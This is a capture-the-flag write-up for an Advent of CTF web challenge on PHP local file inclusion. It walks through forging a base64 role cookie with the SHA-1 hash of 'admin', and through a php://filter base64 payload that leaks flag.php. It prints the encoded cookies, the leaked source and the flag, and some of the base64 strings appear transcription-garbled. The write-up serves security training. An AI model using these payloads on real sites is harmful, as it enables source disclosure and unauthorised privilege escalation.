

AdventOfCTF-10

Challenge

6 Solves



10

1000

web

When files are included things can get real messy. The flag is in flag.php.

Visit <https://10.adventofctf.com> to start the challenge.

Unlock Hint for 500 points

Flag

Submit

Advent of CTF 10

Your daily dose of CTF for December

Pages in Santa's big book

Currently there is only one person on the naughty list....

Who has been most naughty?



The Advent of CTF is brought to you by [NOVI Hogeschool](#). It is built by [@credmp](#). If you are looking for a Dutch Cyber Security Bachelor degree or bootcamp, [check us out](#). (Dutch follows) Als je al weet dat je een opleiding wilt volgen, neem dan [contact op met Valerie](#)

If we go to the page `flag.php` we find this:

Why does Egische keep showing up?

You are on the right page, but you cannot see what you want yet. Go get promoted!

Go back on the homepage...

A cookie is set!

Replace this cookie with the old one.



We include correctly the flag file but we are missing something. Let's try to use a different role. The second part of the cookie looks like sha1, so we calculate the hash of admin.

```
d033e22ae348aeb5660fc2140aec35850c4da997
```

```
{"page": "flag", "role": "d033e22ae348aeb5660fc2140aec35850c4da997"}
```

```
eyJwYwdlIjoiZmxhZyIsICJyb2x1IjoiZDAzM2UyMmFlMzQ4YWVvINTY2MGZjMjE0MGFlYzM1ODUwYzRkYTk5NyJ9
```

Relace the old cookie with this new one. And we get the flag.




Way #2 (The cool way)

Use php filters!

Using php://filter for local file inclusion

Published on by I came across a website where the site was vulnerable to LFI (local file inclusion) however the inclusion was done using a require_once and the script appended a .php extension to the end of the file; furthermore it was not vulnerable to null byte injection which meant that if I did include a file that: The

 <https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/>

```
{"page": "php://filter/convert.base64-encode/resource=flag", "role": "12dea96fec20593566ab75692c9949596833adc9"}
```

And base64 encode this cookie

```
eyJWYldlIjoicGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1mbGFnIiwgICJyb2x1IjoiTjJkZWE5NmZ1YzIwNTkzNTY2YWI3NTY5MmM5OTQ5NTk2ODMzYWRjOSJ9
```

Replace the old cookie with this new one.

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```
PD9waHAKPz4KCjxoND5XaHkgZG9lcyBFZ2l2Y2h1IGt1ZXAgc2hvd2luZyB1cD88L2g0Pgo8P3BocAoKaWYgKCRfQ09PS0lFWyJ6ZXJvdGVuIl0pIHsKI
CAglCRkYXRhID0ganNvbl9kZWNVZGUoYmFzZTY0X2RIY29kZSgkX0NP
T0tJRVsiemVyb3RlbiJdKSwgdHJ1ZSk7Cn0KCmImICgkcm9sZSA9PT0gl
mQwMzNlMjJhZTM0OGFIYjU2NjBmYzlxNDBhZWZmZTg1MGM0ZGE5
OTciKSB7Cj8+CiAgICA8cD4KICAgICAgICBUaGUgZGFyayBzZWNYZXQg
b24gdGhpcyBwYWdlIGlzOiBOT1ZJe0xGSV8xc19hc2sxbmdfZjByX3RyM
GJsM30KICAgIDwvcD4KPD8KfSB1bHNlIHsKPz4KICAgIDxwPgogICAgIC
AgIFlvdSBhcmUgb24gdGhlIHJpZ2h0IHhZ2UslGJ1dCB5b3UgY2Fubm9
0IHNIzSB3aGF0IHlvdSB3YW50IHlldC4gR28gZ2V0IHByb21vdGVklQogl
CAgPC9wPgo8P3BocAp9Cj8+Cg==
```

Who has been most naughty?

```
PD9waHAKPz4KCjxoND5XaHkgZG9lcyBFZ2l2Y2h1IGt1ZXAgc2hvd2luZyB1cD88L2g0Pgo8P3BocAoKaWYgK
CRfQ09PS0lFWyJ6ZXJvdGVuIl0pIHsKICAgICRkYXRhID0ganNvbl9kZWNVZGUoYmFzZTY0X2RIY29kZSgkX0
NPT0tJRVsiemVyb3RlbiJdKSwgdHJ1ZSk7Cn0KCmImICgkcm9sZSA9PT0glmQwMzNlMjJhZTM0OGFIYjU2NjB
mYzIxNDBhZWZmZTg1MGM0ZGE5OTciKSB7Cj8+CiAgICA8cD4KICAgICAgICBUaGUgZGFyayBzZWNYZXQgb24g
dGhpcyBwYWdlIGlzOiBOT1ZJe0xGSV8xc19hc2sxbmdfZjByX3RyMGJsM30KICAgIDwvcD4KPD8KfSB1bHNlI
HsKPz4KICAgIDxwPgogICAgICAgIFlvdSBhcmUgb24gdGhlIHJpZ2h0IHhZ2UslGJ1dCB5b3UgY2Fubm90IH
NIzSB3aGF0IHlvdSB3YW50IHlldC4gR28gZ2V0IHByb21vdGVklQoglCAgPC9wPgo8P3BocAp9Cj8+Cg==
```

```
<?php
?>
```

```
<h4>Why does Egische keep showing up?</h4>
<?php
```

```

if ($_COOKIE["zeroten"]) {
    $data = json_decode(base64_decode($_COOKIE["zeroten"]), true);
}

if ($role === "d033e22ae348aeb5660fc2140aec35850c4da997") {
?>
    <p>
        The dark secret on this page is: NOVI{LFI_1s_ask1ng_f0r_tr0bl3}
    </p>
<?
} else {
?>
    <p>
        You are on the right page, but you cannot see what you want yet. Go get promo
ted!
    </p>
<?php
}
?>

```

Flag: NOVI{LFI_1s_ask1ng_f0r_tr0bl3}

